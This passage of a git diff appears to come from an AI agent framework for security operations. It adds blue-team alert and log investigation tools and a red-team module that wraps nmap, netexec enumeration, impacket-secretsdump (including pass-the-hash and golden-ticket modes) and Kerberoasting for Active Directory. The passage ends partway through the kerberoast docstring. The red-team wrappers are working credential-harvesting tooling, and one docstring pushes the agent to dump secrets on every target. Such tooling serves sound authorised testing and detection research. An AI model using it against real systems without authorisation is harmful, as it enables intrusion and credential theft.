+ achievements.append(f"✓ **{state.credential_count} credential(s)** obtained")
+
+ if achievements:
+ summary_parts.append("\n\n**Key Achievements:**\n" + "\n".join(achievements))
+
+ # Discovery statistics
+ summary_parts.append(
+ f"\n\n**Discovery Statistics:**\n"
+ f"- Hosts Discovered: {state.host_count}\n"
+ f"- User Accounts: {len(state.users)}\n"
+ f"- Network Shares: {len(state.shares)}\n"
+ f"- Password Hashes: {len(state.hashes)}\n"
+ f"- Vulnerabilities: {len(state.weaknesses)}"
+ )
+
+ # Attack path summary
+ if state.has_domain_admin or state.has_golden_ticket:
+ summary_parts.append(
+ "\n\n**Attack Path:**\n"
+ "The operation successfully achieved privileged access through systematic "
+ "enumeration, credential harvesting, and lateral movement techniques. "
+ "Detailed attack timeline is provided below."
+ )
+
+ # Security posture assessment
+ if state.has_domain_admin or state.has_golden_ticket:
+ posture = "**CRITICAL**"
+ assessment = (
+ "The target environment has critical security weaknesses that allowed "
+ "full domain compromise. Immediate remediation is required."
+ )
+ elif state.admin_count > 0:
+ posture = "**HIGH**"
+ assessment = (
+ "The target environment has significant security weaknesses with administrative "
+ "access obtained. Remediation is strongly recommended."
+ )
+ elif state.credential_count > 0:
+ posture = "**MEDIUM**"
+ assessment = (
+ "The target environment has moderate security weaknesses with credentials "
+ "compromised. Security improvements are recommended."
+ )
+ else:
+ posture = "**LOW**"
+ assessment = (
+ "The target environment demonstrated resilience against the red team operation. "
+ "Continue monitoring and maintain security posture."
+ )
+
+ summary_parts.append(f"\n\n**Security Posture:** {posture}\n\n{assessment}")
+
+ return "".join(summary_parts)
diff --git a/src/ares/tools/__init__.py b/src/ares/tools/__init__.py
new file mode 100644
index 00000000..4bce5a0f
--- /dev/null
+++ b/src/ares/tools/__init__.py
@@ -0,0 +1,21 @@
+"""Tools for Ares SOC Investigation and Red Team Agents."""
+
+from ares.tools.blue.actions import CompletionTools, escalate_investigation
+from ares.tools.blue.grafana import GrafanaTools, connect_grafana_mcp
+from ares.tools.blue.investigation import InvestigationTools, QuestionEngineTools
+from ares.tools.blue.observability import LokiTools, PrometheusTools
+from ares.tools.shared.mitre import MITRELookupTools
+
+__all__ = [
+ # Blue team tools
+ "CompletionTools",
+ "GrafanaTools",
+ "InvestigationTools",
+ "LokiTools",
+ "MITRELookupTools",
+ "PrometheusTools",
+ "QuestionEngineTools",
+ "connect_grafana_mcp",
+ "escalate_investigation",
+ # Red team tools imported separately as needed
+]
diff --git a/src/ares/tools/blue/__init__.py b/src/ares/tools/blue/__init__.py
new file mode 100644
index 00000000..ccbf7e4e
--- /dev/null
+++ b/src/ares/tools/blue/__init__.py
@@ -0,0 +1,17 @@
+"""Blue team investigation tools."""
+
+from ares.tools.blue.actions import CompletionTools, escalate_investigation
+from ares.tools.blue.grafana import GrafanaTools, connect_grafana_mcp
+from ares.tools.blue.investigation import InvestigationTools, QuestionEngineTools
+from ares.tools.blue.observability import LokiTools, PrometheusTools
+
+__all__ = [
+ "CompletionTools",
+ "GrafanaTools",
+ "InvestigationTools",
+ "LokiTools",
+ "PrometheusTools",
+ "QuestionEngineTools",
+ "connect_grafana_mcp",
+ "escalate_investigation",
+]
diff --git a/src/ares/tools/blue/actions.py b/src/ares/tools/blue/actions.py
new file mode 100644
index 00000000..c9ff3711
--- /dev/null
+++ b/src/ares/tools/blue/actions.py
@@ -0,0 +1,212 @@
+"""Investigation completion and escalation actions."""
+
+from datetime import datetime, timezone
+
+import dreadnode as dn
+from dreadnode.agent.tools.base import Toolset
+from loguru import logger
+
+from ares.core.models import InvestigationState
+
+
+class CompletionTools(Toolset): # type: ignore[misc]
+ """Tools for completing investigations with validation.
+
+ Attributes:
+ state: Current investigation state for validation.
+ """
+
+ state: InvestigationState | None = None
+
+ def set_state(self, state: InvestigationState):
+ """Set the investigation state (called by orchestrator)."""
+ self.state = state
+
+ @dn.tool_method # type: ignore[untyped-decorator]
+ async def complete_investigation(
+ self,
+ summary: str,
+ attack_synopsis: str,
+ recommendations: list[str],
+ confidence: str,
+ affected_hosts: list[str],
+ affected_users: list[str],
+ attack_timeframe: str,
+ ) -> str:
+ """Complete the investigation and signal report generation.
+
+ REQUIRED before calling:
+ 1. Must have transitioned through lateral stage
+ 2. Must have investigated at least one host
+ 3. Must provide specific affected hosts/users
+ 4. Must provide attack timeframe
+
+ Args:
+ summary: Executive summary (2-3 sentences).
+ attack_synopsis: Detailed description of the attack chain.
+ recommendations: List of recommended actions.
+ confidence: Overall confidence level (high/medium/low with explanation).
+ affected_hosts: List of hosts involved in the attack (IPs or hostnames).
+ affected_users: List of user accounts involved.
+ attack_timeframe: Time range of the attack (e.g., "2024-01-15 14:30-15:45 UTC").
+
+ Returns:
+ Confirmation message or error if validation fails.
+
+ Example:
+ >>> await complete_investigation(
+ ... summary="Detected Kerberoasting attack targeting service accounts.",
+ ... attack_synopsis="Attacker performed AS-REP roasting against samwell.tarly...",
+ ... recommendations=["Reset passwords for samwell.tarly and jeor.mormont"],
+ ... confidence="High - Multiple corroborating Kerberos events",
+ ... affected_hosts=["10.0.4.186", "WINTERFELL.north.sevenkingdoms.local"],
+ ... affected_users=["samwell.tarly", "jeor.mormont"],
+ ... attack_timeframe="2024-01-08 04:37-04:43 UTC"
+ ... )
+ 'Investigation completed. Report will be generated.'
+ """
+ errors = []
+
+ # Validate state exists
+ if not self.state:
+ return "ERROR: No investigation state. Cannot complete."
+
+ # Validate lateral investigation was performed
+ if self.state.stage.value not in ["lateral", "synthesis"]:
+ errors.append(
+ f"ERROR: Must reach 'lateral' stage before completion. "
+ f"Current stage: {self.state.stage.value}. "
+ f"Call transition_stage('lateral') after investigating scope."
+ )
+
+ # Validate hosts were investigated
+ if not self.state.queried_hosts and not affected_hosts:
+ errors.append(
+ "ERROR: No hosts investigated. Use track_host_investigation() "
+ "to investigate affected hosts before completing."
+ )
+
+ # Validate affected_hosts is not empty
+ if not affected_hosts:
+ errors.append(
+ "ERROR: affected_hosts is required. Provide the list of "
+ "hosts/IPs involved in the attack."
+ )
+
+ # Validate affected_users is not empty
+ if not affected_users:
+ errors.append(
+ "ERROR: affected_users is required. Provide the list of "
+ "user accounts involved in the attack."
+ )
+
+ # Validate attack_timeframe is specific
+ if not attack_timeframe or len(attack_timeframe) < 10:
+ errors.append(
+ "ERROR: attack_timeframe must be specific (e.g., '2024-01-08 04:37-04:43 UTC'). "
+ "This should reflect the ACTUAL event timestamps from your investigation."
+ )
+
+ # Validate synopsis is substantive
+ if len(attack_synopsis) < 100:
+ errors.append(
+ "ERROR: attack_synopsis too short. Provide a detailed description "
+ "of the attack chain including: initial access, techniques used, "
+ "and impact."
+ )
+
+ # Validate evidence was collected
+ if len(self.state.evidence) < 2:
+ errors.append(
+ f"ERROR: Insufficient evidence ({len(self.state.evidence)} items). "
+ "Continue investigation to gather more evidence."
+ )
+
+ # If errors, return them all
+ if errors:
+ dn.log_metric("completion_validation_failed", 1)
+ return "\n\n".join(errors)
+
+ # All validations passed
+ dn.log_metric("investigation_completed", 1)
+ dn.log_output(
+ "completion_summary",
+ {
+ "summary": summary,
+ "attack_synopsis": attack_synopsis,
+ "recommendations": recommendations,
+ "confidence": confidence,
+ "affected_hosts": affected_hosts,
+ "affected_users": affected_users,
+ "attack_timeframe": attack_timeframe,
+ "evidence_count": len(self.state.evidence),
+ "timeline_events": len(self.state.timeline),
+ "hosts_investigated": list(self.state.queried_hosts),
+ "users_investigated": list(self.state.queried_users),
+ },
+ )
+
+ logger.success("Investigation completed")
+
+ return "Investigation completed. Report will be generated."
+
+
+@dn.tool() # type: ignore[untyped-decorator]
+async def escalate_investigation(
+ reason: str,
+ severity: str,
+ current_findings: str,
+ immediate_actions: list[str],
+) -> str:
+ """Escalate the investigation for human analyst review.
+
+ Call this if:
+ - You identify an active, ongoing attack
+ - The scope exceeds investigation capacity
+ - You need human analyst intervention
+ - Critical infrastructure is at risk
+
+ Args:
+ reason: Why escalation is needed.
+ severity: critical, high, or medium.
+ current_findings: Summary of what you've found so far.
+ immediate_actions: Actions that should be taken immediately.
+
+ Returns:
+ Confirmation message.
+
+ Example:
+ >>> await escalate_investigation(
+ ... reason="Active lateral movement detected across 15+ hosts",
+ ... severity="critical",
+ ... current_findings="Attacker has Domain Admin credentials and is actively "
+ ... "exfiltrating data from file servers.",
+ ... immediate_actions=[
+ ... "Isolate compromised domain controller",
+ ... "Reset all privileged account passwords",
+ ... "Block C2 IP addresses at firewall"
+ ... ]
+ ... )
+ 'Investigation escalated with severity=critical. Human analyst notified.'
+
+ See Also:
+ complete_investigation: For normal investigation completion.
+ """
+ dn.log_metric("investigation_escalated", 1)
+ dn.tag(f"escalation:{severity}")
+ dn.tag("needs_human_review")
+
+ dn.log_output(
+ "escalation",
+ {
+ "reason": reason,
+ "severity": severity,
+ "findings": current_findings,
+ "immediate_actions": immediate_actions,
+ "escalated_at": datetime.now(timezone.utc).isoformat(),
+ },
+ )
+
+ logger.warning(f"Investigation escalated: {reason}")
+
+ return f"Investigation escalated with severity={severity}. Human analyst notified."
diff --git a/src/tools/grafana.py b/src/ares/tools/blue/grafana.py
similarity index 78%
rename from src/tools/grafana.py
rename to src/ares/tools/blue/grafana.py
index a8759437..bde0bee1 100644
--- a/src/tools/grafana.py
+++ b/src/ares/tools/blue/grafana.py
@@ -34,19 +34,35 @@ async def get_firing_alerts(self) -> list[dict]:
Returns:
List of firing alert instances with labels, annotations, and values.
"""
- try:
- async with httpx.AsyncClient(timeout=self.timeout) as client:
- response = await client.get(
- f"{self.base_url}/api/alertmanager/grafana/api/v2/alerts",
- headers=self._headers(),
- params={"active": "true"},
- )
- response.raise_for_status()
- return response.json()
-
- except httpx.HTTPError as e:
- logger.error(f"Failed to get alerts: {e}")
- return []
+ # Try multiple Grafana alert API endpoints (depends on Grafana version)
+ endpoints = [
+ "/api/alertmanager/grafana/api/v2/alerts", # Grafana 9+
+ "/api/v1/alerts", # Alternative
+ "/api/prometheus/grafana/api/v1/alerts", # Older format
+ ]
+
+ for endpoint in endpoints:
+ try:
+ async with httpx.AsyncClient(timeout=self.timeout) as client:
+ response = await client.get(
+ f"{self.base_url}{endpoint}",
+ headers=self._headers(),
+ params={"active": "true"},
+ )
+ if response.status_code == 200:
+ logger.info(f"Successfully connected to Grafana alerts at {endpoint}")
+ return response.json()
+ if response.status_code == 404:
+ continue # Try next endpoint
+ response.raise_for_status()
+
+ except httpx.HTTPError as e:
+ if "404" not in str(e):
+ logger.error(f"Failed to get alerts from {endpoint}: {e}")
+ continue
+
+ logger.warning("Could not find Grafana alerts endpoint. Using empty alerts list.")
+ return []
@dn.tool_method # type: ignore[untyped-decorator]
async def get_alert_history(
diff --git a/src/tools/investigation.py b/src/ares/tools/blue/investigation.py
similarity index 70%
rename from src/tools/investigation.py
rename to src/ares/tools/blue/investigation.py
index d6aa3927..187ed394 100644
--- a/src/tools/investigation.py
+++ b/src/ares/tools/blue/investigation.py
@@ -7,10 +7,21 @@
from dreadnode.agent.tools.base import Toolset
from loguru import logger
-from src.engines import MITRENavigator, PyramidClimber
-from src.mitre import MITREAttackClient
-from src.models import Evidence, InvestigationStage, InvestigationState, PyramidLevel, TimelineEvent
-from src.templates import get_template_loader
+from ares.core.engines import (
+ MITRENavigator,
+ PyramidClimber,
+ _load_attack_chains,
+ _load_detection_recipes,
+)
+from ares.core.models import (
+ Evidence,
+ InvestigationStage,
+ InvestigationState,
+ PyramidLevel,
+ TimelineEvent,
+)
+from ares.core.templates import get_template_loader
+from ares.integrations.mitre import MITREAttackClient
class InvestigationTools(Toolset): # type: ignore[misc]
@@ -401,3 +412,137 @@ def get_combined_questions(self, max_questions: int = 10) -> list[dict]:
dn.log_metric("combined_questions_generated", len(all_questions))
return [q.to_dict() for q in all_questions[:max_questions]]
+
+ @dn.tool_method # type: ignore[untyped-decorator]
+ def get_attack_chain_precursors(self, technique_id: str) -> dict:
+ """Get precursor techniques for a detected technique.
+
+ When you detect a technique, call this to find out what typically
+ happens BEFORE this attack. Precursors are CRITICAL for understanding
+ the full attack chain.
+
+ Args:
+ technique_id: MITRE technique ID (e.g., "T1003.006" for DCSync).
+
+ Returns:
+ Dict with precursors, windows_events, log_patterns, and investigation_questions.
+
+ Example:
+ >>> get_attack_chain_precursors("T1003.006")
+ {
+ 'technique': 'T1003.006',
+ 'name': 'DCSync',
+ 'precursors': [
+ {'technique': 'T1087', 'name': 'Account Discovery', ...},
+ {'technique': 'T1135', 'name': 'Network Share Discovery', ...},
+ ...
+ ],
+ 'windows_events': [
+ {'event_id': 4625, 'name': 'Failed Logon', ...},
+ ...
+ ],
+ ...
+ }
+ """
+ attack_chains = _load_attack_chains()
+
+ if technique_id not in attack_chains:
+ return {
+ "technique": technique_id,
+ "message": "No attack chain data available for this technique",
+ "suggestion": "Check related techniques or parent techniques",
+ }
+
+ chain_data = attack_chains[technique_id]
+ return {
+ "technique": technique_id,
+ "name": chain_data.get("name", ""),
+ "description": chain_data.get("description", ""),
+ "precursors": chain_data.get("precursors", []),
+ "windows_events": chain_data.get("windows_events", []),
+ "log_patterns": chain_data.get("log_patterns", []),
+ "investigation_questions": chain_data.get("investigation_questions", []),
+ }
+
+ @dn.tool_method # type: ignore[untyped-decorator]
+ def get_detection_recipe(self, recipe_name: str) -> dict:
+ """Get a specific detection recipe with Windows event patterns.
+
+ Detection recipes provide specific patterns for detecting attack
+ techniques using Windows Security Event logs and LogQL queries.
+
+ Available recipes:
+ - password_spray: Detect password spray attacks
+ - credential_stuffing: Detect credential stuffing
+ - share_enumeration: Detect network share enumeration
+ - ldap_enumeration: Detect LDAP/AD enumeration
+ - kerberos_attacks: Detect Kerberoasting, AS-REP roasting, etc.
+ - dcsync: Detect DCSync attacks
+ - pass_the_hash: Detect pass-the-hash attacks
+ - service_enumeration: Detect network service scanning
+
+ Args:
+ recipe_name: Name of the detection recipe.
+
+ Returns:
+ Dict with indicators, windows_events, logql_queries, and investigation_steps.
+
+ Example:
+ >>> get_detection_recipe("password_spray")
+ {
+ 'name': 'Password Spray Attack Detection',
+ 'mitre_technique': 'T1110.003',
+ 'indicators': [...],
+ 'windows_events': {...},
+ 'logql_queries': [...],
+ 'investigation_steps': {...}
+ }
+ """
+ recipes = _load_detection_recipes()
+
+ if recipe_name not in recipes:
+ available = [k for k in recipes if not k.startswith("query_")]
+ return {"error": f"Recipe '{recipe_name}' not found", "available_recipes": available}
+
+ recipe = recipes[recipe_name]
+ return {
+ "name": recipe.get("name", recipe_name),
+ "description": recipe.get("description", ""),
+ "mitre_technique": recipe.get("mitre_technique") or recipe.get("mitre_techniques"),
+ "indicators": recipe.get("indicators", []),
+ "windows_events": recipe.get("windows_events", {}),
+ "logql_queries": recipe.get("logql_queries", []),
+ "investigation_steps": recipe.get("investigation_steps", {}),
+ "detection_logic": recipe.get("detection_patterns", {}),
+ }
+
+ @dn.tool_method # type: ignore[untyped-decorator]
+ def list_detection_recipes(self) -> list[dict]:
+ """List all available detection recipes.
+
+ Use this to see what detection patterns are available for
+ different attack techniques.
+
+ Returns:
+ List of available recipes with name and MITRE technique mapping.
+ """
+ recipes = _load_detection_recipes()
+
+ result = []
+ for key, value in recipes.items():
+ if key.startswith("query_"):
+ continue # Skip query template section
+ if isinstance(value, dict):
+ result.append(
+ {
+ "recipe_name": key,
+ "name": value.get("name", key),
+ "mitre_technique": value.get("mitre_technique")
+ or value.get("mitre_techniques"),
+ "description": value.get("description", "")[:100] + "..."
+ if value.get("description")
+ else "",
+ }
+ )
+
+ return result
diff --git a/src/tools/observability.py b/src/ares/tools/blue/observability.py
similarity index 59%
rename from src/tools/observability.py
rename to src/ares/tools/blue/observability.py
index 625572ab..8c405ddf 100644
--- a/src/tools/observability.py
+++ b/src/ares/tools/blue/observability.py
@@ -32,8 +32,39 @@ async def query_logs(
Write your own LogQL queries to investigate the logs.
No templates - use your knowledge of the query language.
+ CRITICAL SYNTAX RULES:
+
+ 1. LABEL MATCHERS (must be first, in curly braces):
+ - Exact match: {job="varlogs"}
+ - Regex match: {app=~"web-.+"} (NOT .* - see below)
+ - Not equal: {env!="prod"}
+ - Multiple: {job="syslog", hostname="web-01"}
+
+ 2. LINE FILTERS (use |= |! =~ !~ after label matchers):
+ - Contains: |= "error"
+ - Not contains: != "debug"
+ - Regex: |~ "error|failed"
+ - Not regex: !~ "info|debug"
+ Example: {job="syslog"} |= "error"
+
+ 3. PARSER EXPRESSIONS (| json, | logfmt, | pattern, | regexp):
+ Example: {job="app"} | json | level="error"
+
+ 4. AVOID THESE COMMON ERRORS:
+ - ❌ {app=~".*"} - Empty-compatible regex (use .+ instead)
+ - ❌ {job="app"} = "error" - Wrong operator (use |= not =)
+ - ❌ {job="app"} "error" - Missing operator (add |=)
+ - ❌ {job="app"} | "error" - Use |= not |
+ - ❌ Quotes inside unescaped strings
+
+ 5. VALID COMPLETE EXAMPLES:
+ - {job="syslog"} |= "error"
+ - {job="syslog", hostname="web-01"} |= "error" |~ "critical"
+ - {namespace="default"} | json | status_code="500"
+ - {app=~"web-.+"} != "healthcheck"
+
Args:
- logql: The LogQL query string.
+ logql: The LogQL query string. Must start with label matchers {...}.
start_time: ISO8601 timestamp for query start (e.g., "2024-01-15T10:00:00Z").
end_time: ISO8601 timestamp for query end.
limit: Maximum number of log lines to return (default 500).
@@ -41,19 +72,18 @@ async def query_logs(
Returns:
Query results with log streams and entries.
- Example:
- >>> await query_logs(
- ... logql='{job="syslog", hostname="web-01"} |= "error"',
- ... start_time="2024-01-15T10:00:00Z",
- ... end_time="2024-01-15T11:00:00Z",
- ... limit=100
- ... )
- {'status': 'success', 'data': {'resultType': 'streams', ...}}
-
See Also:
query_logs_around_timestamp: For time-window queries around a specific event.
get_label_values: For discovering available log labels.
"""
+ # Validate query to prevent empty-compatible regex errors
+ if '=~".*"' in logql or "=~'.*'" in logql:
+ return {
+ "status": "error",
+ "error": "Query contains empty-compatible regex '.*'. Use '.+' instead to require at least one character, or use specific label values.",
+ "suggestion": 'Replace =~".*" with =~".+" or use exact matches like job="varlog"',
+ }
+
dn.log_metric("loki_queries", 1, mode="count")
logger.info(f"Loki query: {logql}")
@@ -78,14 +108,21 @@ async def query_logs(
except httpx.HTTPError as e:
logger.error(f"Loki query failed: {e}")
- return {"error": str(e), "data": {"result": []}}
+ logger.error(f"Failed query was: {logql}")
+ # Return detailed error for the agent to learn from
+ return {
+ "status": "error",
+ "error": str(e),
+ "query": logql,
+ "hint": "Check LogQL syntax. Common issues: missing quotes, invalid operators, incorrect label matchers.",
+ }
@dn.tool_method # type: ignore[untyped-decorator]
async def query_logs_around_timestamp(
self,
logql: str,
timestamp: str,
- window_minutes: int = 5,
+ window_minutes: int = 30,
limit: int = 500,
) -> dict:
"""Query logs within a time window around a specific timestamp.
@@ -95,7 +132,7 @@ async def query_logs_around_timestamp(
Args:
logql: The LogQL query string.
timestamp: ISO8601 timestamp to center the query on.
- window_minutes: Minutes before and after the timestamp (default 5).
+ window_minutes: Minutes before and after the timestamp (default 30).
limit: Maximum number of log lines.
Returns:
@@ -112,6 +149,106 @@ async def query_logs_around_timestamp(
limit=limit,
)
+ @dn.tool_method # type: ignore[untyped-decorator]
+ async def query_logs_progressive(
+ self,
+ logql: str,
+ reference_timestamp: str,
+ limit: int = 500,
+ ) -> dict:
+ """Query logs with progressive time window expansion.
+
+ Starts with a 30-minute window and expands to 1h, 6h, 24h if no results found.
+ This is useful when the alert timestamp may be stale and the actual activity
+ occurred at a different time.
+
+ Args:
+ logql: The LogQL query string.
+ reference_timestamp: ISO8601 timestamp to start searching from.
+ limit: Maximum number of log lines.
+
+ Returns:
+ Query results with metadata about which time window succeeded.
+ """
+ windows = [30, 60, 360, 1440] # 30min, 1h, 6h, 24h
+ center = datetime.fromisoformat(reference_timestamp.replace("Z", "+00:00"))
+
+ for window_mins in windows:
+ start = (center - timedelta(minutes=window_mins)).isoformat()
+ end = (center + timedelta(minutes=window_mins)).isoformat()
+
+ logger.info(f"Progressive query: trying ±{window_mins}min window")
+ result = await self.query_logs(
+ logql=logql,
+ start_time=start,
+ end_time=end,
+ limit=limit,
+ )
+
+ # Check if we got results
+ data = result.get("data", {})
+ results = data.get("result", [])
+ if results:
+ total_entries = sum(len(r.get("values", [])) for r in results)
+ if total_entries > 0:
+ result["_window_minutes"] = window_mins
+ result["_window_expanded"] = window_mins > 30
+ result["_search_start"] = start
+ result["_search_end"] = end
+ logger.info(
+ f"Progressive query: found {total_entries} entries in ±{window_mins}min window"
+ )
+ return result
+
+ # No results in any window
+ return {
+ "status": "success",
+ "data": {"result": []},
+ "_window_minutes": 1440,
+ "_window_expanded": True,
+ "_no_results": True,
+ "_message": "No results found in any time window (30min to 24h)",
+ }
+
+ @dn.tool_method # type: ignore[untyped-decorator]
+ async def query_logs_recent(
+ self,
+ logql: str,
+ hours_back: int = 1,
+ limit: int = 500,
+ ) -> dict:
+ """Query logs from recent time (relative to NOW, not alert timestamp).
+
+ Use this to check CURRENT activity regardless of alert timestamp.
+ Critical for detecting if an alert's startsAt is stale.
+
+ Args:
+ logql: The LogQL query string.
+ hours_back: How many hours back from now to query (default 1).
+ limit: Maximum number of log lines.
+
+ Returns:
+ Query results from recent time window.
+ """
+ from datetime import timezone
+
+ now = datetime.now(timezone.utc)
+ start = (now - timedelta(hours=hours_back)).isoformat()
+ end = now.isoformat()
+
+ logger.info(f"Recent query: last {hours_back}h from now")
+ dn.log_metric("loki_recent_queries", 1, mode="count")
+
+ result = await self.query_logs(
+ logql=logql,
+ start_time=start,
+ end_time=end,
+ limit=limit,
+ )
+ result["_query_type"] = "recent"
+ result["_hours_back"] = hours_back
+ return result
+
@dn.tool_method # type: ignore[untyped-decorator]
async def get_label_values(self, label: str) -> list[str]:
"""Get all values for a specific Loki label.
diff --git a/src/ares/tools/red/__init__.py b/src/ares/tools/red/__init__.py
new file mode 100644
index 00000000..4faf3faf
--- /dev/null
+++ b/src/ares/tools/red/__init__.py
@@ -0,0 +1,19 @@
+"""Red team penetration testing tools."""
+
+from ares.tools.red.network import (
+ CrackingTools,
+ CredentialHarvestingTools,
+ GoldenTicketTools,
+ NetworkEnumerationTools,
+ RedTeamReportingTools,
+ SharePilferingTools,
+)
+
+__all__ = [
+ "CrackingTools",
+ "CredentialHarvestingTools",
+ "GoldenTicketTools",
+ "NetworkEnumerationTools",
+ "RedTeamReportingTools",
+ "SharePilferingTools",
+]
diff --git a/src/ares/tools/red/network.py b/src/ares/tools/red/network.py
new file mode 100644
index 00000000..af318b19
--- /dev/null
+++ b/src/ares/tools/red/network.py
@@ -0,0 +1,1469 @@
+"""Red Team penetration testing tools for Active Directory environments.
+
+This module provides toolsets for network enumeration, credential harvesting,
+password cracking, share pilfering, and golden ticket generation.
+"""
+
+import logging
+import os
+import subprocess
+import tempfile
+import time
+from datetime import datetime, timezone
+from typing import Any
+
+import dreadnode as dn
+from dreadnode.agent.tools.base import Toolset
+
+from ares.core.models import (
+ Credential,
+ Hash,
+ Host,
+ RedTeamState,
+ Share,
+ TimelineEvent,
+ User,
+)
+
+logger = logging.getLogger(__name__)
+
+
+class NetworkEnumerationTools(Toolset):
+ """Tools for network scanning and enumeration."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def nmap_scan(self, target: str) -> str:
+ """
+ Scans target IPs to discover services, ports, and host information.
+
+ This tool performs a comprehensive network scan to identify:
+ - Open ports and running services
+ - Service versions
+ - Operating system information
+ - Domain Controller vs Member Server classification
+
+ Args:
+ target: IP addresses to scan (space-separated for multiple targets)
+
+ Returns:
+ Detailed nmap scan output showing discovered services and versions
+
+ Example:
+ >>> result = nmap_scan("192.168.1.2")
+ >>> result = nmap_scan("192.168.1.2 192.168.1.3 192.168.1.4")
+ """
+ cmd = ["nmap", "-T4", "-sS", "-sV", "--open"] + target.split(" ")
+
+ try:
+ logger.info(f"[*] Scanning targets: {target}")
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300)
+
+ if result.returncode != 0:
+ logger.error(f"[!] Nmap scan failed: {result.stderr}")
+ return result.stderr
+
+ logger.info(f"[*] Nmap scan completed for target {target}")
+
+ # Track the scanned hosts
+ if self.state:
+ for ip in target.split():
+ self.state.queried_hosts.add(ip)
+
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ logger.error("Nmap scan timed out after 5 minutes")
+ return "Nmap scan timed out after 5 minutes"
+ except Exception as e:
+ logger.error(f"Scan failed: {e!s}")
+ return f"Scan failed: {e!s}"
+
+ @dn.tool_method
+ def enumerate_users(self, target: str, username: str, password: str, domain: str = "") -> str:
+ """
+ Enumerate user accounts on a target using netexec (crackmapexec successor).
+
+ This tool discovers all user accounts in the Active Directory environment,
+ which is critical for credential-based attacks and understanding the
+ user landscape.
+
+ Args:
+ target: IP address or hostname to enumerate
+ username: Username for authentication (use empty string for null session)
+ password: Password for authentication (use empty string for null session)
+ domain: Domain for authentication (optional)
+
+ Returns:
+ List of discovered user accounts with details
+
+ Example:
+ >>> enumerate_users("192.168.1.100", "user", "pass", "DOMAIN")
+ >>> enumerate_users("192.168.1.100", "", "", "") # null session
+ """
+ try:
+ cmd = ["netexec", "smb", target]
+
+ if username and password:
+ cmd.extend(["-u", username, "-p", password])
+ if domain:
+ cmd.extend(["-d", domain])
+ else:
+ cmd.extend(["-u", "", "-p", ""])
+
+ cmd.append("--users")
+
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+ logger.info(
+ f"[*] User enumeration completed for {target} (user:{username}, domain:{domain})"
+ )
+
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ return f"User enumeration timed out for {target}"
+ except Exception as e:
+ logger.error(f"User enumeration failed: {e}")
+ return f"User enumeration failed for {target}: {e}"
+
+ @dn.tool_method
+ def enumerate_shares(
+ self, target: str, domain: str = "", username: str = "", password: str = ""
+ ) -> str:
+ """
+ Enumerate SMB shares on a target using netexec.
+
+ This tool discovers network shares which may contain sensitive files,
+ credentials, or configuration information critical for privilege escalation.
+
+ Args:
+ target: IP address or hostname to enumerate
+ domain: Domain for authentication
+ username: Username for authentication (use empty string for null session)
+ password: Password for authentication (use empty string for null session)
+
+ Returns:
+ List of discovered shares with access permissions
+
+ Example:
+ >>> enumerate_shares("192.168.1.100", "DOMAIN", "user", "pass")
+ """
+ try:
+ cmd = ["netexec", "smb", target]
+
+ if username and password:
+ cmd.extend(["-u", username, "-p", password])
+ if domain:
+ cmd.extend(["-d", domain])
+ else:
+ cmd.extend(["-u", "", "-p", ""])
+
+ cmd.append("--shares")
+
+ result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120)
+ logger.info(f"[*] Share enumeration completed for {target}")
+
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ return f"Share enumeration timed out for {target}"
+ except Exception as e:
+ logger.error(f"Share enumeration failed: {e}")
+ return f"Share enumeration failed for {target}: {e}"
+
+
+class CredentialHarvestingTools(Toolset):
+ """Tools for harvesting credentials via Active Directory attacks."""
+
+ state: RedTeamState | None = None
+
+ def set_state(self, state: RedTeamState) -> None:
+ """Set the operation state for this toolset."""
+ self.state = state
+
+ @dn.tool_method
+ def secretsdump(
+ self,
+ target: str,
+ username: str,
+ password: str | None = None,
+ hash: str | None = None,
+ domain: str | None = None,
+ no_pass: bool = False,
+ timeout_minutes: int = 10,
+ ) -> str:
+ """
+ Extract secrets using impacket-secretsdump for credential harvesting.
+
+ This is one of the most powerful tools for extracting credentials from
+ Windows systems. It dumps SAM database, cached credentials, and LSA secrets.
+ **CRITICAL: When you have admin access, run this on ALL targets, not just one.**
+
+ Args:
+ target: Target IP address or domain name
+ username: Username with admin privileges
+ password: Password for the username (optional)
+ hash: NTLM hash for pass-the-hash authentication (optional)
+ domain: Domain name (optional, can be inferred)
+ no_pass: If True, use Kerberos golden ticket authentication
+ timeout_minutes: Maximum time to spend dumping (default: 10)
+
+ Returns:
+ Extracted credentials including NTLM hashes, Kerberos keys, and secrets
+
+ Example:
+ >>> secretsdump("192.168.1.100", "Administrator", password="P@ssw0rd") # pragma: allowlist secret
+ >>> secretsdump("192.168.1.100", "Administrator", hash="aad3b4...", domain="DOMAIN")
+ >>> secretsdump("domain.local", "Administrator", no_pass=True) # golden ticket
+ """
+ cmd = ["/usr/bin/impacket-secretsdump"]
+
+ if password and domain:
+ target_string = f"{domain}/{username}:{password}@{target}"
+ elif password and not domain:
+ target_string = f"{username}:{password}@{target}"
+ elif hash and domain:
+ cmd.extend(["-hashes", f":{hash}"])
+ target_string = f"{domain}/{username}@{target}"
+ elif hash and not domain:
+ cmd.extend(["-hashes", f":{hash}"])
+ target_string = f"{username}@{target}"
+ elif no_pass:
+ cmd.extend(["-k", "-no-pass"])
+ target_string = f"{username}@{target}"
+ else:
+ return "[!] Error: Either password, hash, or no_pass must be provided"
+
+ cmd.append(target_string)
+
+ try:
+ logger.info(f"[*] Running secretsdump on {target} with {username}")
+
+ env = os.environ.copy() if no_pass else None
+ if no_pass and env is not None:
+ env["KRB5CCNAME"] = "Administrator.ccache"
+
+ result = subprocess.run(
+ cmd,
+ check=False,
+ capture_output=True,
+ text=True,
+ timeout=timeout_minutes * 60,
+ env=env,
+ )
+
+ logger.info(f"[*] Secretsdump completed for {target}")
+ return result.stdout
+
+ except subprocess.TimeoutExpired:
+ return "[!] Secretsdump timed out"
+ except Exception as e:
+ return f"[!] Secretsdump error: {e}"
+
+ @dn.tool_method
+ def kerberoast(
+ self,
+ domain: str,
+ username: str,
+ password: str,
+ dc_ip: str,
+ ) -> str:
+ """
+ Perform Kerberoasting attack to extract service account password hashes.
+
+ Kerberoasting is a technique for extracting Kerberos TGS hashes for accounts
